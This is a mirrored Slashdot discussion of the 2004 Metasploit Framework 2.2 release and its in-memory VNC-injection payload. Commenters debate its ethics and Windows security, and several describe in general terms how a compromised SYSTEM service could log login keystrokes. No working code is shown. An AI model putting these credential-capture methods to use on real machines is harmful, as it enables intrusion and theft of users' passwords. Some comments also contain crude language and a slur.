Slashdot Mirror


Point, Click, Root.

An anonymous reader writes "The Metasploit Project just released version 2.2 of the Metasploit Framework. This release includes a VNC server payload that can be used with almost any of the Windows exploits. The scary thing about this payload is that the VNC server executes as a new thread in the exploited process; without writing any files to the disk drive. Is this the end as we know it for simple remote command shell exploits? A couple articles have already mentioned this project."

216 comments

  1. Obligatory non-ugly URL for this article by Anonymous Coward · · Score: 5, Informative
    1. Re:Obligatory non-ugly URL for this article by theantipode · · Score: 1, Funny

      This one also works. I find it easier to remember, since that's the word that always comes to mind when I see that color scheme.

      --
      When I am king, you will be first against the wall
      With your opinion which is of no consequence at all
    2. Re:Obligatory non-ugly URL for this article by Anonymous Coward · · Score: 5, Informative

      Or you could change it without typing at all.

    3. Re:Obligatory non-ugly URL for this article by Anonymous Coward · · Score: 0

      crap, where are my mod points!

      Thanks, that rocks

    4. Re:Obligatory non-ugly URL for this article by vanza · · Score: 1

      I wrote one inspired on that one that modifies the links on Slashdot pages, so you don't need to load the page twice to change it. Get it here.

      --
      Marcelo Vanzin
    5. Re:Obligatory non-ugly URL for this article by Kristoffer+Lunden · · Score: 5, Funny

      crap, where are my mod points!

      You have to log in to see/use them. ;-)

    6. Re:Obligatory non-ugly URL for this article by Anonymous Coward · · Score: 0

      Thanks, dude.

      I put that on my bookmark toolbar in Firefox, and hello one-clickedy de-ugledey.

      You're a lifesaver.

    7. Re:Obligatory non-ugly URL for this article by Lehk228 · · Score: 1

      i prefer to use goatse.slashdot or gnaa.slashdot just because it is funny to do so.

      --
      Snowden and Manning are heroes.
    8. Re:Obligatory non-ugly URL for this article by StrongAxe · · Score: 1

      crap, where are my mod points!

      You have to log in to see/use them. ;-)


      After I had been on Slashdot for a while, I started getting mod points ever few weeks. But for the past several months, I've been getting asked to medamoderate about 2-3 times daily, but have never received any mod points since then. What's up with that?

  2. The undisclosed source from the DoD... by Osrin · · Score: 2

    ... stated that they're not paying any attention to this.

    hummmm... that helps.

    1. Re:The undisclosed source from the DoD... by jabbo · · Score: 3, Insightful
      not exactly. the quote was:

      "MetaSploit isn't being taken seriously enough" by his peers in government security, the DoD employee added.

      --
      Remember that what's inside of you doesn't matter because nobody can see it.
  3. Why? by KangXii · · Score: 1, Insightful

    I think that's the question most people would have on thier minds...

    1. Re:Why? by isotropique · · Score: 5, Informative

      According to metasploit.com:
      "This is the Metasploit Project. The goal is to provide useful information to people who perform penetration testing, IDS signature development, and exploit research. This site was created to fill the gaps in the information publicly available on various exploitation techniques and to create a useful resource for exploit developers. The tools and information on this site are provided for legal penetration testing and research purposes only."

    2. Re:Why? by garcia · · Score: 4, Insightful

      exactly. VNC, while great if you are really interested in controlling a PC remotely, isn't all that useful for trojans/worms.

      You're much better off with a powerful spam relay or self-replicating worm than control over a user's PC, nevermind access via a remote shell like some of the recent worms have allowed.

      Other than fucking with the heads of the users you have infected I don't really see the point. You'd have to be using their machine when they aren't around, you'd have to be doing this in person over VNC which could be very very slow depending on upstream, and it just wouldn't be as useful as a shell which *could* be scripted to automate your desired effect.

    3. Re:Why? by KangXii · · Score: 2, Insightful

      If that were thier real goal, the wouldn't release thier tools to the vast public, don't you think?

    4. Re:Why? by stratjakt · · Score: 3, Insightful

      Think about it, script kiddies cant use a remote shell. They can only point and click. Thats what metasploit is for, to make it easy for "1337 5kr1p7 k1dd13z".

      I mean, what good is "hacking" into a box if you HAVE NO FUCKING IDEA HOW TO ACTUALLY USE IT?

      This could just as easily spawn a cygwin shell if it wanted.

      --
      I don't need no instructions to know how to rock!!!!
    5. Re:Why? by Anonymous Coward · · Score: 0

      Why? I'd like it so I can install it deliberatelly on my MSWindows boxes. The RealVNC service on our Win2003 server keeps crashing about 1x/day for reasons beyond me, and if this is a good way to have a more stable VNC service running, I'm all for it.

    6. Re:Why? by Trolling4Dollars · · Score: 5, Insightful

      Or... you could connect in view-only mode and watch them type in sensitive data. Maybe install a key logger when they aren't around. Dig through their personal file stash and find nudies of their husband or wife and upload them to yafro.com. There's a whole lot of personal nastiness and ID theft that could result from this. Which leads me to lesson #1. NEVER put your PC directly on the internet. If you do, you deserve whatever happens to you.

    7. Re:Why? by Curtman · · Score: 2, Insightful

      If you've ever tried to get support from Microsoft, you'd know thats the only way to get them to do anything. Sad but true.

    8. Re:Why? by aborchers · · Score: 3, Interesting

      So, what you're saying is that the tool is only useful if it allows you to do something malicous with the machine? I guess we know which side of the computer security fence you're on. ;-)

      --
      Trouble making decisions? Just flip for it.
    9. Re:Why? by rokzy · · Score: 1, Insightful

      no I don't think that.

      how the hell would it help if the only people allowed to test their security is... who? you need a CS degree? you need to work for a security company? you need to prove you could write your own tools?

    10. Re:Why? by Anonymous Coward · · Score: 0
      Karma whore free mirror - didn't bother fixing links so piss off...

      The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This project initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development, and vulnerability research.

      The Framework was written in the Perl scripting language and includes various components written in C, assembler, and Python. The widespread support for the Perl language allows the Framework to run on almost any Unix-like system under its default configuration. A customized Cygwin environment is provided for users of Windows-based operating systems. The project core is dual-licensed under the GPLv2 and Perl Artistic Licenses, allowing it to be used in both open-source and commercial projects.

      This project can be roughly compared to commercial offerings such as Immunity's CANVAS and Core Security Technology's Impact. The major difference between the Framework and these commercial products is the focus; while the commercial products need to always provide the latest exploits and an intuitive GUI, the Framework was designed to facilitate research and experimentation with new technologies.

      The Framework was developed by Spoonm and H D Moore, they can be reached via email at msfdev [at] metasploit.com.

      Recent Updates
      [ 08/07/2004 ] Released version 2.2 of the Metasploit Framework
      [ 08/07/2004 ] New exploit module added: lsass_ms04_011
      [ 08/07/2004 ] New exploit module added: mercantec_softcart
      [ 08/07/2004 ] New exploit module added: smb_sniffer
      [ 08/07/2004 ] New exploit module added: ut2004_secure_linux
      [ 08/07/2004 ] New exploit module added: ut2004_secure_win32
      [ 08/07/2004 ] New exploit module added: afp_loginext
      [ 07/07/2004 ] New exploit module added: distcc_exec
      [ 06/08/2004 ] New exploit module added: squid_ntlm_authenticate
      [ 06/06/2004 ] Released version 2.1 of the Metasploit Framework

    11. Re:Why? by Wizzo1138 · · Score: 3, Interesting

      I would hope that any self-respecting cracker would scoff at using this. So I wonder if it wasn't some self-respecting cracker who came up with this, just to give the script kiddies something to play with. While they keep the admins concerned about VNC hacks, the real crackers can get their work done under the radar, using the good ol' command line.

      Or maybe it's time to find my tin-foil hat...

      --
      Always go to other people's funerals, otherwise they won't come to yours.
    12. Re:Why? by KangXii · · Score: 1

      Yes, that is what the legit people would use this tool for. But for every 1 person who is honestly using it for its "intended" purpose, there are 100 script kiddies using it to cause problems.

    13. Re:Why? by foidulus · · Score: 4, Funny

      Well, you can still fuck around with the user without actually having to manually do anything. If you can execute arbitrary code, then you can create a bot to do random things with the mouse or look for a running copy of Word and randomly type, "Help! I'm trapped in the word processor!" into the document the user is typing.
      However, script kiddies probably won't know how to code something up like that without someone holding their hands.

    14. Re:Why? by stratjakt · · Score: 4, Interesting

      No, it's quite simple.

      The easier it is for any 13 year old asshat to exploit these vulnerabilities, the more the value of self-titled "security experts" goes up. Then they can jack small businesses for a 5 grand "consulting fee" to recommend they install a firewall.

      They're creating a problem in the hopes they'll be paid to solve it, in short.

      Kind of like a windshield salesman going around daring /encouraging neighbourhood kids to throw rocks at passing cars.

      --
      I don't need no instructions to know how to rock!!!!
    15. Re:Why? by name773 · · Score: 1

      do you have a link to that information?

    16. Re:Why? by wwest4 · · Score: 1

      script kiddies get virtually no advantage from this toolset.

    17. Re:Why? by symbolset · · Score: 1

      Because starting terminal services from a console was getting tedious...

      --
      Help stamp out iliturcy.
    18. Re:Why? by Anonymous Coward · · Score: 0

      Try logging in, fag.

    19. Re:Why? by Sepper · · Score: 2, Funny

      Yes, that is what the legit people would use this tool for. But for every 1 person who is honestly using it for its "intended" purpose, there are 100 script kiddies using it to cause problems.

      ...And 1000 one who, like will use it to play joke on unsuspecting Buiness students from the across the campus :)

      --
      I live in Soviet Canuckistan you insensitive clod!
    20. Re:Why? by antiMStroll · · Score: 1
      " VNC, while great if you are really interested in controlling a PC remotely, isn't all that useful for trojans/worms.

      I wish that were true, but many VNC clients come with file transfer agents now. I refuse to allow them on our network when logging into a machine using admin priveledges.

    21. Re:Why? by zaffir · · Score: 1

      How about putting VNC on there, and then running Windows Update for them?

      --
      "Upon attaching the waterblock to my penis, I began to notice that I know nothing about computers." -- JRockway
    22. Re:Why? by verbatim_verbose · · Score: 1

      "NEVER put your PC directly on the internet. If you do, you deserve whatever happens to you."

      Uh, who marked this insightful? Anyone actually finding this insightful shouldn't have been around here to score it as such... ;)

    23. Re:Why? by BitterOak · · Score: 1
      Anyone actually finding this insightful shouldn't have been around here to score it as such

      I think the poster meant that a separate firewall be used between your PC and the Internet, not that you should forego Internet access entirely!

      --
      If I can be modded down for being a troll, can I be modded up for being an orc, or a balrog?
    24. Re:Why? by Anonymous Coward · · Score: 0

      I get the sense, sir, that you are yourself that very information.

    25. Re:Why? by kaligraphic · · Score: 1

      Dude, windows has its own system. Try googling windows terminal services, or check out www.microsoft.com.

      --
      You are standing in an open server west of a blue house, with a boarded front door. There is an Exchange mailbox here.
    26. Re:Why? by KReilly · · Score: 2, Interesting
      Actually, I remember when I was first introduced to VNC. It was when I was 16 and started as an IT guy on a medium sized LAN at a theme park. We had VNC installed on all computers to save time when something broke. And there were stations setup to print id cards for season passes. Well, when they were not printing passes, they were supposed to be doing data entry, but all too often ended up play solitare.

      I didn't really care either way, but I would hop on from time to time to make sure they were doing their job. Everytime I caught them playing solitare, I would call down there, and tell them to stop. Well, I remember more then a few times you would catch someone playing who was bad at the game, and missed some obvious moves, so I decided to start playing with them. Funny part was, they would think the computer was broken, so they would call me! So, I would ask what they were doing, until they finally confessed, at which I would laugh at them and told them I knew... They were always happier with me catching them cause if their boss did, they would have been fired.

      none the less, it was always fun.

    27. Re:Why? by Anonymous Coward · · Score: 0
  4. Nothing that... by BJZQ8 · · Score: 5, Funny

    What a sad day when even taking over someone's machine can be done point-and-click style. Seemed so much more personal when you just had a remote shell.

    1. Re:Nothing that... by halivar · · Score: 3, Funny

      Well, it's just another result of how the GUI has dumbed down tech culture. Now not even the *crackers* can be bothered with CLI.

      What n00bs.

    2. Re:Nothing that... by lukewarmfusion · · Score: 3, Funny

      Yeah, nothing like the friendly, warm command line to help guide you through tough times.

      Don't look at me - I post to Slashdot through a command line.

    3. Re:Nothing that... by Maestro4k · · Score: 3, Interesting
      • What a sad day when even taking over someone's machine can be done point-and-click style. Seemed so much more personal when you just had a remote shell.
      Those days have been gone for a while, script kiddies routinely point n' click to take over machines. They might have to *gasp* type something in an IRC channel to control their zombies but it's all highly idiot-proof. (Which is good I suppose since most script kiddies seem to be idiots.)
    4. Re:Nothing that... by Taladar · · Score: 1

      Do you know where to find the people writing these things?

      I always wanted to know how to write highly idiot-proof software. It would be extremly useful to use this knowledge for writing software for upper management.

    5. Re:Nothing that... by strider44 · · Score: 1

      bah - I bet you cheat and use lynx.

    6. Re:Nothing that... by Anonymous Coward · · Score: 0

      "Windows exploits". Not "root". Just "wide open".

  5. 404 by Anonymous Coward · · Score: 0

    Anyone else get a 404 when first trying to load this story?

  6. SK by pedestrian+crossing · · Score: 0, Redundant

    Sounds like script-kiddie heaven!

    --
    A house divided against itself cannot stand.
    1. Re:SK by Anonymous Coward · · Score: 0
      Nah, you practically need a command line or other interpreter to do "scripts".

      This will create a new breed of MS-Hackers called "Point&Click-Kiddies".

  7. Works when the machine is locked too by Anonymous Coward · · Score: 5, Interesting

    The cool thing about the VNC payload is that it works if the machine is not logged in, or if the screen is locked.

    1. Re:Works when the machine is locked too by FLAGGR · · Score: 0, Redundant

      *cough*skriptkiddie*cough*

    2. Re:Works when the machine is locked too by TedCheshireAcad · · Score: 2, Interesting

      The cool thing about the VNC payload is that it works if the machine is not logged in, or if the screen is locked.

      Parent has a good point, how often do you leave your servers logged in? Could be fun for unsuspecting people at their workstations, though. I can see it now, the calls coming in "OMG MY MOUSE IS TEH MOVING....HAXORS IN TEH MY pC!!11".

      Sigh. Never a dull moment in IT.

    3. Re:Works when the machine is locked too by nine-times · · Score: 3, Interesting
      Parent has a good point, how often do you leave your servers logged in?

      On the other hand, hackers can VNC in and watch what you do without you knowing they're connected. Or while you're trying to type your password to log in, they could just keep typing a letter or two, thereby keeping you from logging in.

    4. Re:Works when the machine is locked too by Anonymous Coward · · Score: 0

      This sounds useful for legimite SysAdmins trying to manage Windows boxes at a colocation center. I don't know how often the IT guys said they had to drive to the colo because they couldn't manage the Windows boxes remotely, and the VNC server they had running had crashed.

    5. Re:Works when the machine is locked too by LnxAddct · · Score: 1

      I agree with your post about it being good, but why the hell wouldn't they just ssh in and restart the service? Driving to another state simply because one service crashed is bad design, not trying to be nitpicky or anything though:)
      Regards,
      Steve

    6. Re:Works when the machine is locked too by jd142 · · Score: 1

      Why don't you just use remote desktop instead of VNC? Or if you're still on w2k, encrypted(such as it is) netmeeting? Then there's nothing to install at the other end.

    7. Re:Works when the machine is locked too by Ytsejam-03 · · Score: 5, Interesting
      The cool thing about the VNC payload is that it works if the machine is not logged in, or if the screen is locked.
      So does anything else that exploits a service running as LocalSystem. As long as the service is running, it does not matter the workstation is locked or not logged in.

      I assume you're saying this because you saw the screen shot linked in the summary. Notice that it says "System" at the top of the start menu. This is not the user's desktop, and you won't get to see the user's running apps. You'll have to exploit something running in the user's session to do that.

      This won't let you do anything that you could not already have done by installing, say, netcat with the same exploit.
    8. Re:Works when the machine is locked too by johnrob · · Score: 2, Interesting

      Since VNC is based on graphic updates and mouse clicks, a locked machine is actually safe from a VNC "hacker". The hacker would only see the Windows locked workstation screen (not very exciting). Perhaps the payload could be used to catch login keystrokes, but I doubt Windows makes it possible to receive keystroke events during a login/unlock-workstation screen. If doing so is possible, it's a huge security flaw in Windows.

    9. Re:Works when the machine is locked too by andreyw · · Score: 2, Interesting

      Trapping passwords would be likely impossible without patching msgina.dll

    10. Re:Works when the machine is locked too by Anonymous Coward · · Score: 1, Insightful

      "Or while you're trying to type your password to log in, they could just keep typing a letter or two, thereby keeping you from logging in."

      Or, indeed, running a program to reveal the password being typed...

    11. Re:Works when the machine is locked too by Ytsejam-03 · · Score: 1
      Perhaps the payload could be used to catch login keystrokes, but I doubt Windows makes it possible to receive keystroke events during a login/unlock-workstation screen. If doing so is possible, it's a huge security flaw in Windows.
      While I've not tried it, I'm certain that this is possible, and IMHO it's not a security flaw. In order to do this your code would have to be running as the System account, which means that you've already comprimised the machine and can do pretty much whatever you want. (For example, you could snag all of the password hashes and do an offline dictionaty attack on them.) VNC was running as System account in example screen-shot on the website, so they obviously exploited some security flaw of this nature when they created the example. This is exactly the same type of flaw that Sasser, Blaster, and company exploited.

      If you manage to compromise a service running as the System account, then you could log keystrokes by starting a new process on the Winlogon desktop (the desktop which is visible when logging in and when the workstation is locked) which would then hook fields on the login dialog.

      Another approach is to use CreateRemoteThread API to start a new thread in the Winlogon process that would hook which would hook the fields on the login dialog.

      Yet another approach would be install your own keyboard driver like this utility does.

      I'm sure there are lots of other methods that I'm leaving out.
    12. Re:Works when the machine is locked too by greyguppy · · Score: 1

      There was something in MSDN about writing a Pass-Thru GINA as MS called it. GINA basically provides all the Workstation Locked and Login and Ctrl+Alt+Del dialog boxes.

      The article about the Pass-thru was how to chain them, so that you could tell Winlogon.exe that you were the GINA, but then delegate the dialogs back to the original MSGINA.dll. The point of this was so you could send credentials for authentication against "legacy" servers, or to facilitate Single-Sign on.

      What I am talking about dates to NT4.0, but I am guessing they have not changed the functionality. There is no need to write a fancy password interception routine, Microsoft provide the code already!

    13. Re:Works when the machine is locked too by johnrob · · Score: 1

      The original point I was trying to make was that VNC wasn't creating any security risks beyond those already present. I probably shouldn't have mentioned that bit about catching passwords via hooks, since it was not relavent to my point :)

    14. Re:Works when the machine is locked too by strider44 · · Score: 1

      A new idea for the BOFH

    15. Re:Works when the machine is locked too by mnewton32 · · Score: 1

      Trapping passwords would be likely impossible without patching msgina.dll

      Am I the only one who thinks dirty thoughts every time I come across that DLL?

    16. Re:Works when the machine is locked too by marco0009 · · Score: 1

      Wrong. Those screens are from the 2.0 release. This is the 2.2. I just used this my own box with the VNC Inject and I was given a very nice screen shot of the target box's desktop, the only problem I've come across so far is hiding the huge ass command box that pops up once the exploit has been injected.

      --
      Physics makes the world go 'round.
    17. Re:Works when the machine is locked too by julesh · · Score: 1

      On the other hand, hackers can VNC in and watch what you do without you knowing they're connected.

      Last time I ran a VNC server on a windows desktop machine it used enough CPU time whenever anyone was connected for me to be aware it was happening. Unless this problem has been fixed, I wouldn't worry about not realizing it has happened.

    18. Re:Works when the machine is locked too by randomblast · · Score: 2, Funny

      So how well does windows run on a 486?

      --
      ...these aren't my real teeth.
    19. Re:Works when the machine is locked too by Ytsejam-03 · · Score: 1
      There was something in MSDN about writing a Pass-Thru GINA as MS called it. GINA basically provides all the Workstation Locked and Login and Ctrl+Alt+Del dialog boxes.
      Yep, this is another approach. I didn't mention this one because it requires a reboot.
    20. Re:Works when the machine is locked too by Anonymous Coward · · Score: 0
      "Am I the only one who thinks dirty thoughts every time I come across that DLL?"

      "come across"...hehehehehe...

    21. Re:Works when the machine is locked too by Ytsejam-03 · · Score: 1
      I just used this my own box with the VNC Inject and I was given a very nice screen shot of the target box's desktop...
      Ok, so I have not actually tried this tool, I'm just speculating based on what I know about Windows. I recently finished writing a Windows app that includes a service which does IPC with another process running on the user's desktop, and a third component that displays a window on the Winlogon desktop when the workstation is locked. All of this had to work in remote Citrix/Terminal services sessions, too. By the time I had finished with the design, I had come to understand this functionality in Windows better than I ever cared to.

      Your comments piqued my curiosity, so I went back and looked at the webpage. The "VNC Server DLL Injection" section on this page sheds some light on things. Here is an excerpt:

      If there is no interactive user logged into the system or the screen has been locked, the command shell can be used to launch explorer.exe anyways. This can result in some very confused users when the logon screen also has a start menu. If the interactive desktop is changed, either through someone logging into the system or locking the screen, the VNC server will disconnect the client.

      This supports my earlier statements. Perhaps I did not make it perfectly clear, but I was referring specifically to cases where the system was in a locked state, or a not logged-in state.

      Now, whether or not VNC can interact with a desktop that is not active (IE: the user's desktop when the workstation is locked) is another question. I would have thought this was possible if the VNC server was one of the processes on this desktop, hence my comments about exploiting something in the user's "session" (desktop would have been a more correct term). Perhaps VNC won't do this. If it won't, then it seems to me that this should be possible with some tweaks to VNC. In my experience, process running on the user's desktop will still process messages, display windows, etc. even when the workstation is locked.
  8. Metasploit by bigjnsa500 · · Score: 0

    Well good news is that their server didn't handle the Metasploit ;)

    --
    This is a test. This is a test of the emergency sig system. This has been only a test.
  9. It's time to give up by 192939495969798999 · · Score: 4, Funny

    Microsoft should just post a big list of hacked machines, and turn everything wide open. After the script kiddie deluge is done, then we all go "phew! Wasn't that fun!" and go buy something else.

    --
    stuff |
    1. Re:It's time to give up by SpaceLifeForm · · Score: 4, Funny

      This list would be shorter to post the non-hacked machines.

      --
      You are being MICROattacked, from various angles, in a SOFT manner.
    2. Re:It's time to give up by eufreka · · Score: 5, Funny
      Microsoft should just post a big list of hacked machines...

      ...It's called Network Neighborhood...

    3. Re:It's time to give up by Hobadee · · Score: 1

      ...ya, 2 or 3 gigs shorter - AFTER it's been tar gzipped.

      --
      ...Had this been an actual emergency, we would have fled in terror, and you would not have been informed.
    4. Re:It's time to give up by lachlan76 · · Score: 1

      For the most part you can just try 255.255.255.255

  10. And here, ladies and gents by Rosco+P.+Coltrane · · Score: 4, Funny

    ... is a preview of the site's front page in a few days, courtesy of your friends at dhs.gov.

    --
    "A door is what a dog is perpetually on the wrong side of" - Ogden Nash
  11. Umm... by Trolling4Dollars · · Score: 5, Interesting

    How does something start off as a "portable network game" and end up as a f*cking remote GUI root?

    1. Re:Umm... by Trolling4Dollars · · Score: 4, Funny

      That's like saying, "This started off as a Jello brand recipe for jello jigglers and has developed into a handy way to make the ultimate death ray"!

    2. Re:Umm... by Anonymous Coward · · Score: 0

      LOL, I'm glad I wasn't the only one who wondered that. :-D

    3. Re:Umm... by crisco · · Score: 3, Funny

      It was going to be a pretty cool game.

      --

      Bleh!

    4. Re:Umm... by Otter · · Score: 5, Interesting
      How does something start off as a "portable network game" and end up as a f*cking remote GUI root?

      I suppose, the same way Goldeneye started as a game and ended up as the boot disk for Xbox Linux...

    5. Re:Umm... by fulldecent · · Score: 1

      Easy, just like another project with the same acronym.

      --

      -- I was raised on the command line, bitch

    6. Re:Umm... by jollyhockysticks · · Score: 0

      And how Phantasy Star Online lead to GameCube Linux via the Nintend0 Broadband adapter.

      http://www.gc-linux.org/

    7. Re:Umm... by Anonymous Coward · · Score: 0

      I thought that was MechWarrior?

    8. Re:Umm... by Anonymous Coward · · Score: 0

      Firstly, this oughta get a +Funny mod.

      Secondly, re your sig, I was was raised on the toggle panel.

    9. Re:Umm... by mbourgon · · Score: 2, Interesting

      I suppose, the same way Goldeneye started as a game and ended up as the boot disk for Xbox Linux...

      Actually, it was Mechwarrior , though 007:Agent Under Fire can be used as well.

      (an aside: anyone know if Robertson ever paid up on the whole "run linux on physically untouched xbox"?)

      --
      "Sometimes a woman is a kind of religion, she can save your soul & set you free from all your sins" - Bad Examples
    10. Re:Umm... by identity0 · · Score: 1

      Aha! So *that's* how Saddam was making his WMD! We're on to you, punk!

    11. Re:Umm... by lachlan76 · · Score: 1

      They had to open a socket for something. They put data through it. Then they got sick of writing the game.

      Could it be any more simple?????

    12. Re:Umm... by Anonymous Coward · · Score: 0

      Thanks, I didn't think anyone else would get it :-)

  12. It's about time by mr_z_beeblebrox · · Score: 3, Funny

    I was seriously getting bummed by the low quality of todays script kiddie exploits. With the metasploits project finally real security minded people, tinkerers (hackers) and just plain good programmers can have a common place to post their hard won knowledge for "1337" kids online to use.

  13. Re:Free Teekid! by Anonymous Coward · · Score: 0

    Free Teekid! 1st Amendment!

    Yes, free the dumb kid! The justice usually shows leniency toward the mentally disadvantaged, why not in this case?

  14. Hey, Australians... by wanerious · · Score: 3, Funny

    ...now this is a subject line you can get on board with.

    1. Re:Hey, Australians... by Anonymous Coward · · Score: 1, Informative

      For non Aussies:
      Root = To have sex with, to fuck.

  15. Whoah by scooviduvoctagon · · Score: 3, Funny

    Imagine a DMCA cluster of these!

  16. This is not very responsible. by JAD+lifter · · Score: 3, Insightful

    There is no reason to include a VNC server payload like this. Those legitimate security professionals who use Metasploit for pen testing should have the skills to create their own VNC payload, if they actually have a use for it. To include it ready made, point and click, easy to use like this just makes it that much easier for the script kiddiots out there.

    I am not against full disclosure or the dissemation of security tools I just happen to think that for every one security pro who uses this tool for good there will be a hundred script kiddies who use it for causing havoc. Rather than make life easier for the good guys this will just make it that much more difficult.

    1. Re:This is not very responsible. by winkydink · · Score: 3, Insightful

      You could say the same thing about virtually any cracking tool out there. Your logic ultimately falls back to "security through obscurity". To us a medial analogy, this never cures the disease, it only delays the onset of symptoms.

      --

      "I'd rather be a lightning rod than a seismometer." -Ken Kesey

    2. Re:This is not very responsible. by Anonymous Coward · · Score: 0

      For someone like myself who doesn't take security seriously I take this as a wakeup call. I'm downloading right now and if I can take over our office computers without touching the keyboard...
      On the other hand its really comforting that when I have a VPN to our clients networks I can log in and setup any new computers without any fingerpoken on des lefthanders side.

    3. Re:This is not very responsible. by Planesdragon · · Score: 1

      To us a medial analogy, this never cures the disease, it only delays the onset of symptoms.

      A medical analogy is actually very apt for security.

      Obscurity is a good first line of defense--comparable to keeping away from sick people--but it can and will be compromised, and more rigerous plans must accompany it.

    4. Re:This is not very responsible. by Kenja · · Score: 0
      "To us a medial analogy, this never cures the disease, it only delays the onset of symptoms."

      No, a medical analogy would be giving away mutated anthrax for "testing purposes".

      --

      "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
    5. Re:This is not very responsible. by winkydink · · Score: 1

      No. It would be more akin to giving away anthrax publicly before the other hundreds of "mad scientists" did so illiciltly and covertly. As the OP pointed out, somebody can develop a plugin that does the very same thing. What's to prevent some other black hat from doing that and distributing it to the script kiddies outside the public eye?

      --

      "I'd rather be a lightning rod than a seismometer." -Ken Kesey

    6. Re:This is not very responsible. by JAD+lifter · · Score: 1

      Your logic ultimately falls back to "security through obscurity".

      No. My logic is simply that creating an extremely easy to use cracking tool and including things like a "VNC server" as a payload (which would be of limited use for pen testing but would be very useful for the kiddies) is simply not aresponsible thing to do. Just because someone else could possibly make and distribute similar payloads isn't an excuse to just say "well, someone else might do it anyways so we might as well do it."

      Yes, I do believe that the much maligned concept of "security through obscurity" is not a bad idea and can be quite useful as long as it is not your only line of defense. When you choose not to list your main email addy all over the net so that spammers don't get it, that is an example of security through obscurity but no one ever says that is a bad idea.

    7. Re:This is not very responsible. by maximilln · · Score: 1

      is simply not aresponsible thing to do

      Oh bosh. Quit with the high-road superior morality stuff. In a perfect world I would side with you but this is REALITY. "Responsibility" has no real meaning. No one cares unless they have a personal axe to grind.

      --
      +++ATHZ 99:5:80
  17. Attention MetaSploit by grakwell · · Score: 5, Funny

    I have recently obtained a patent on One-Click Cracking.

    Our lawyers will be getting in touch with the MetaSploit group to discuss licensing options.

    Thank you,
    Jeff Bezos
    Founder and CEO
    amazon.com

  18. More like... by GillBates0 · · Score: 3, Funny

    P01NT CL1CK W00T!

    --
    An Indian-American Hindu committed to non-violent thought/speech/action alarmed by the global explosion of radical Islam
    1. Re:More like... by Anonymous Coward · · Score: 0

      youw fathew was a woman?

    2. Re:More like... by Anonymous Coward · · Score: 0

      R U hunt1ng f0r WABB1TS t00?

  19. Rapid 'sploit development? by Anonymous Coward · · Score: 3, Funny

    Has Microsoft released a timeline of when this toolkit will be integrated into VS.NET 2003?

    1. Re:Rapid 'sploit development? by Zitchas · · Score: 1

      Hehehe.... Well, looks like owning a windoze machine just got one step less safe. If I ever get one, remind me to shutdown at night instead of loging off, will you? How well does this fare against hard/software firewalls?

      --
      Z
  20. Because it's there by winkydink · · Score: 1

    that wasn't a rhetorical "why?", was it?

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

    1. Re:Because it's there by SEWilco · · Score: 2, Funny

      Why?

  21. NetHack version 4? by TommydCat · · Score: 5, Funny

    Congratulations adventurer!
    Your quest is at an end for you have reached the root of NetHack.
    Within, the Wizard of MS RAS has no power, the Oracle 8i speaks with utmost clarity, and the stack overflow bugs do not bite.

    --
    This comment does not necessarily represent the views and opinions of the author.
  22. Finally... by alexandre · · Score: 1

    We are starting to see tools that really show what can be done out there in the wild... :)

  23. Re:VNC ? by wolrahnaes · · Score: 5, Informative

    "Since when has it been news that VNC is shitty and insecure?"

    Umm....RTFA.

    It's a exploit for Windows (from the screenshot it seems to use the LSASS vulnerability that Sasser uses) that includes a VNC server in the payload, allowing remote GUI access under SYSTEM priveledges (SYSTEM is like root in *nix, higher than even the Administrators group).

    Better hope all your boxes are patched against this vulnerability, or prepare to watch the kiddies go to work.

    Any yes I do mean watch, that's the only "problem" with this system, whatever you do directly shows up on the real screen, so the user is likely to notice suspicious things happening.

    --
    I used to get high on life, but I developed a tolerance. Now I need something stronger.
  24. Nasty. by genixia · · Score: 5, Insightful

    Ugh. This is going to be really popular with the script kiddies. I have to (grudgingly) admit that this is quite elegant though.

    I wonder if running your own (password-protected) vncserver will be any protection against this. I guess it depends on whether the payloaded vncserver can have its port changed or whether it is stuck with the default.

    If it can be changed then this is going to be very nasty. You couldn't even simply firewall all the vnc ports any more as the kiddie could configure the server to run on an unprivileged port. I suppose that SYN flag checking or using a connection-stateful firewall should protect against this.

    Yuck.

    1. Re:Nasty. by peacefinder · · Score: 2, Interesting

      I imagine the exploit could include a VNC password change attempt. It would presumably only work on machines with a currently-logged-in admin user, but that's just the sort of thing a blackhat wants to find, no? It would be tamper-evident, at least.

      I agree: Yuck.

      --
      With reasonable men I will reason; with humane men I will plead; but to tyrants I will give no quarter. -- William Lloyd
    2. Re:Nasty. by Firehawke · · Score: 3, Insightful

      Well, if that screenshot is any indication, it's running as System.. you wouldn't even have to have a logged-in Admin. You've got kernel-level access to the machine from that VNC.

      That doesn't answer whether it'd change ports if an existing VNC is there, but nevertheless, it looks like a particularly nasty and hard-to-track rootkit.

    3. Re:Nasty. by stratjakt · · Score: 1

      I'm sure if it tried to start a VNC server on a port you've already bound, it would fail like anything else. All they'd have to do, though, is specifiy another port.

      This will be over the head of the average script kiddy. The metasploit guys better write some code to automatically choose an open port and report it back to the kiddy in words he can understand, like "point your vnc client to 192.168.1.1:1321" (yeah, I used an rfc1918 IP for my example, suck it)

      --
      I don't need no instructions to know how to rock!!!!
    4. Re:Nasty. by Maradine · · Score: 4, Informative

      I wonder if running your own (password-protected) vncserver will be any protection against this.

      Negative. One of the r-parameters you throw back (depending on whether you do a direct inject or a reverse tunnel inject) is what port the daemon is listening on. Keep in mind, you're not adding a VNC service or using an existing one, you're injecting the code into running memory. It will run even if there's another one hanging out on the system. Hell, it even bypasses the GINA.

      One of the things we haven't done over here is test it while another remote user is actively VNC-ing the box. That would be interesting.

      Also, keep in mind that VNC injection is only one of many payloads, and in my opinion, not nearly the most useful (but definitely the most fun).

      --

      trustedworlds.net - gaming, security, and the gunk that lives in between

  25. What a cool tool by ikeleib · · Score: 4, Interesting

    For all the whining about how this makes it so easy for script kiddies, consider that it also makes it so easy for admins who are not in tune with the latest script kiddy 'sploits. This allows them to quickly test their networks in click-n-drool fashion. This can be a very useful tool.

    1. Re:What a cool tool by stratjakt · · Score: 3, Insightful

      What does the VNC server payload have to do with using the tool to test your machines?

      A simple true/false (exploited/no exploited) is all an admin needs to know. Break it down to which specific exploit worked.

      This is just backorifice/subseven revisited.

      --
      I don't need no instructions to know how to rock!!!!
    2. Re:What a cool tool by Anonymous Coward · · Score: 0

